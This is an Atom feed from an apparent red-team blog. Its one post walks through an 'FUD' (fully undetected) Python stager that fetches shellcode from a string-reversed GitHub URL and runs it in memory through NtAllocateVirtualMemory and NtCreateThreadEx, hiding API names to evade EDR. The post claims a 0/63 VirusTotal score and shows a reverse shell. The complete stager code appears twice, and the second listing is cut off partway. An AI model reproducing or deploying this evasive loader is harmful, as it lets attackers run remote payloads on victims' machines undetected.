<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://g3tsyst3m.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://g3tsyst3m.com/" rel="alternate" type="text/html" /><updated>2026-04-16T17:19:25+00:00</updated><id>https://g3tsyst3m.com/feed.xml</id><title type="html">G3tSyst3m’s Infosec Blog</title><subtitle>Security Researcher and Enthusiast. I&apos;m fairly low profile, but share useful info from time to time. Red Team wannabe</subtitle><author><name>R.B.C (g3tsyst3m)</name></author><entry><title type="html">Creative approaches to coding FUD Stagers</title><link href="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/" rel="alternate" type="text/html" title="Creative approaches to coding FUD Stagers" /><published>2026-03-29T00:00:00+00:00</published><updated>2026-03-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/fud/Creative%20approaches%20to%20coding%20FUD%20Stagers</id><content type="html" xml:base="https://g3tsyst3m.com/fud/Creative-approaches-to-coding-FUD-Stagers/"><![CDATA[<p>I have had several discussions over the years with folks on tackling EDR bypass as it pertains to fully undetected <code class="language-plaintext highlighter-rouge">(FUD)</code> code.  In my opinion, there isn’t really a perfect silver bullet approach to tackling FUD.  Especially with ML (machine learning) / AI integrated in most modern EDR solutions, you really have to adjust your approach to FUD as you go.  I will say that I truly believe script interpreter type languages such as Python, Ruby, Perl, even PHP, are great candidates to meet this need.  Scripting languages are not heavily scrutinized when we’re comparing with compiled (PE executable) code.  Now I can already hear the disgruntled offsec folks questioning my rationale when they have tried countless times to make their powershell and javascript/vbscript code into FUD worthy code.  I get it and I’m with you.  It’s not a one size fits all right?  Powershell, while also a script interpreter type language, has been so abused by threat actors that it’s incredibly difficult to tackle FUD due to its prolific use in malicious campaigns, but it’s certainly not impossible.  Let’s get to it!</p>

<h2 id="fud-stager-variant-1">FUD Stager Variant #1</h2>

<p><strong>High Level Overview for The First Stager Concept</strong></p>

<ul>
  <li>Construct a URL via string reversal to obscure its destination (SCODE_U[::-1])</li>
  <li>Download raw shellcode from that URL</li>
  <li>Allocate RWX memory via NtAllocateVirtualMemory (NT-layer to dodge API monitoring)</li>
  <li>Copy shellcode into that region</li>
  <li>Execute it via NtCreateThreadEx, evasion-motivated</li>
  <li>API names are obfuscated via string reversal throughout the code (_api, _api2, etc.)</li>
</ul>

<p><strong>In brief:</strong> This is a simple dropper/stager that downloads and executes shellcode in-memory, and avoids writing anything to disk.</p>

<h2 id="part-1---bypassing-static-analysis-overview">Part 1 - Bypassing Static Analysis Overview</h2>

<p>The initial approach I usually take is to use simple yet effective techniques to help prevent familiar static analysis detection.  For starters, I want to:</p>

<ul>
  <li>Avoid string detection for APIs we will use in the code</li>
  <li>Rename and/or shorten the name of familiar offsec terms used throughout our code like shellcode -&gt; scode, download shellcode -&gt; dwnlod_scode, and so on.</li>
  <li>Reverse our variable names and other strings used in our code and correct them at time of execution
    <ul>
      <li><strong>_api</strong> = “yromeMlautriVetacollAtN”</li>
      <li><strong>SCODE_U</strong> = “onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth”</li>
    </ul>
  </li>
</ul>

<p><strong>Why string detection matters</strong></p>

<p>Most static analysis engines, whether signature-based or ML-assisted, are doing some form of token scoring. Strings like <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">CreateThread</code>, <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code>, and <code class="language-plaintext highlighter-rouge">shellcode</code> carry heavy malicious weight in any trained model. They show up constantly in malware samples, so their mere presence pushes a file’s score upward fast. The goal isn’t to be invisible, it’s to stay below the threshold that triggers a block or quarantine action.</p>

<p>Reversing our API strings and resolving them at runtime is about as low-effort as obfuscation gets, and I like low effort code. 😈  It works because static analysis by definition can’t execute your code to unwind it. An engine scanning bytes on disk sees <code class="language-plaintext highlighter-rouge">"yromeMlautriVetacollAtN"</code> — an unrecognized string that scores essentially zero on its own. 😸</p>

<p><strong>Variable names Matter!</strong></p>

<p>This one is almost embarrassingly simple, but don’t underestimate it. Variable names, function names, and comments all end up as strings in your source or bytecode. A function called download_shellcode is a gift to any analyst or automated scanner. dwnlod_scode isn’t clever enough to fool a human analyst for long, but you’re not trying to fool a human analyst at static analysis time — you’re trying to slip past automated pre-execution scoring.</p>

<h2 id="part-2---downloading-the-shellcode-in-memory">Part 2 - Downloading the Shellcode in Memory</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<p>In the code above is pretty straightforward.  My shellcode is located in a file that resides on my Github repo and I’ve reversed the URL string to thwart static analysis efforts.  I’ve also renamed the file extension to something random, in this case <code class="language-plaintext highlighter-rouge">.dyno</code> as that is not a typical windows file extension and it will not receive as much scrutiny as say a <code class="language-plaintext highlighter-rouge">.bin</code> file extension.  Finally, we return the bytes of the shellcode we just downloaded in the shel_ly variable.</p>

<h2 id="part-3---eggsecuting-shellcode-in-memory-">Part 3 - Eggsecuting Shellcode in Memory 🥚</h2>

<p>I always like to keep things simple to start, just to see how much I can get away with before detection 😸  In this case, I was able to avoid using advanced methods such as Syscalls and/or further advanced techniques to inject our shellcode and the code remained undetected.  I didn’t keep things so simple as to still use the basic kernel32 APIs though. 😏  Instead, we will be making use of the low level NT APIs to help increase our chances of success as far as code exection without detection.</p>

<blockquote>
  <p>Here’s how everything is laid out in the <code class="language-plaintext highlighter-rouge">eggsecute_scode</code> function:</p>
</blockquote>

<p><strong>Obfuscated Windows API calls</strong></p>

<p>Our code uses string reversal once again to hide the real API names from simple string scanners:</p>

<ul>
  <li>“eldnaHesolC”[::-1] → CloseHandle</li>
  <li>“tcejbOelgniSroFtiaW”[::-1] → WaitForSingleObject</li>
  <li>“yromeMlautriVetacollAtN”[::-1] → NtAllocateVirtualMemory</li>
  <li>“xEdaerhTetaerCtN”[::-1] → NtCreateThreadEx</li>
  <li>“evommem”[::-1] → memmove</li>
</ul>

<p><strong>Allocating executable memory using NT APIs</strong></p>

<p>We use <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code> (our low-level kernel32 API equivalent from ntdll) to request a block of memory in the current process with these familiar permissions:</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>MEM_COMMIT</td>
        <td>MEM_RESERVE</td>
      </tr>
    </tbody>
  </table>

  <p>PAGE_EXECUTE_READWRITE (RWX — readable, writable, and executable)</p>
</blockquote>

<p>This is as basic as it gets as far as demonstrating a classic allocation of RWX memory</p>

<p><strong>Copy the shellcode into memory and Execute it!</strong></p>

<p>We now use memmove to copy the previously downloaded shellcode bytes directly into the newly allocated executable memory region.  Finally, as is typical in standard shellcode execution convention, we create a thread to run our shellcode.</p>

<p>We will use the low level <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> API to spawn a new thread inside our current process, with the starting address set to the beginning of the shellcode. Lastly, we wait up to 10 seconds for the thread to finish (<code class="language-plaintext highlighter-rouge">WaitForSingleObject</code>) and then close the thread handle.</p>

<p>Here’s what that entire function looks like in terms of code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bringing-it-all-together">Bringing it all together</h2>

<blockquote>
  <p>Code Execution:</p>
</blockquote>

<p><img width="1481" height="429" alt="image" src="https://github.com/user-attachments/assets/d9899ae8-7079-4007-942d-26135440cadd" /></p>

<blockquote>
  <p>Reverse Shell:</p>
</blockquote>

<p><img width="760" height="379" alt="image" src="https://github.com/user-attachments/assets/ea5ae0f7-bb5e-44f0-bdb0-912e61e64215" /></p>

<p>For just <code class="language-plaintext highlighter-rouge">135</code> lines of code, we were able to accomplish a very effective means of executing shellcode in memory without detection.  Want to see how effective?  See for yourself.  At the time of my submission/analysis, this achieved a <strong>0/63</strong> on VirusTotal.  In other words: <strong>FUD achieved!</strong></p>

<p>hash lookup: <strong>27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</strong></p>

<p><a href="https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e">https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e</a>
<img width="1768" height="849" alt="image" src="https://github.com/user-attachments/assets/72567e23-ff3d-42ec-a64c-9aaee18109c3" /></p>

<blockquote>
  <p><strong>Full Source Code:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e
</span>

<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">ctypes</span>
<span class="kn">from</span> <span class="n">ctypes</span> <span class="kn">import</span> <span class="n">wintypes</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>  
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>  <span class="c1"># Stream for large files 
</span>        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>  <span class="c1"># Load fully into bytes
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Dwnlded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes of scode</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Dwnld failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode2</span><span class="p">):</span>
    <span class="c1"># Constants
</span>    <span class="n">MEM_COMMIT</span> <span class="o">=</span> <span class="mh">0x1000</span>
    <span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
    <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
    <span class="n">ntdll</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">ntdll</span>
    
    <span class="n">_api4</span> <span class="o">=</span> <span class="sh">"</span><span class="s">eldnaHesolC</span><span class="sh">"</span>
    <span class="n">closingtime</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api4</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">closingtime</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">closingtime</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="p">]</span>
    
    <span class="n">_api3</span> <span class="o">=</span> <span class="sh">"</span><span class="s">tcejbOelgniSroFtiaW</span><span class="sh">"</span>
    <span class="n">waitinaround</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="n">_api3</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span>
    <span class="n">waitinaround</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>  <span class="c1"># hHandle
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>   <span class="c1"># dwMilliseconds
</span>    <span class="p">]</span>
    
    <span class="n">_api</span> <span class="o">=</span> <span class="sh">"</span><span class="s">yromeMlautriVetacollAtN</span><span class="sh">"</span>  <span class="c1"># 
</span>    <span class="n">Allocator</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">Allocator</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">BOOL</span>
    <span class="n">Allocator</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">LPVOID</span><span class="p">),</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">),</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="n">wintypes</span><span class="p">.</span><span class="n">DWORD</span><span class="p">,</span>
    <span class="p">]</span>
    
    <span class="n">_api2</span> <span class="o">=</span> <span class="sh">"</span><span class="s">xEdaerhTetaerCtN</span><span class="sh">"</span>
    <span class="n">thred_the_needle</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ntdll</span><span class="p">,</span> <span class="n">_api2</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    
    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="n">LONG</span>  <span class="c1"># NTSTATUS
</span>    <span class="n">thred_the_needle</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="nc">POINTER</span><span class="p">(</span><span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">),</span>   <span class="c1"># ThredHandel (out)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># DesiredAccess
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># ObjectAttributes
</span>    <span class="n">wintypes</span><span class="p">.</span><span class="n">HANDLE</span><span class="p">,</span>                   <span class="c1"># ProcessHandle
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># StartRoutine (your scode addr)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># Argument
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_ulong</span><span class="p">,</span>                    <span class="c1"># CrateFlags (0 = run immediately)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># ZeroBits
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># StackSize
